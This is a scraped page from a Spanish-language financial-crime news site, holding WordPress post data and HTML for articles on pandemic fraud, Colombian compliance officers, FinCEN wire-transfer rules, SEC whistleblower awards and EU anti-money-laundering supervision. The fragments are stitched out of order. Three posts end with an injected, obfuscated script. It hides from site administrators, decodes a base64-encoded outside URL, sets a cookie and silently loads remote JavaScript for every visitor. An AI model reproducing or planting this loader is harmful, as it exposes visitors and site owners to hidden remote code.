conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: 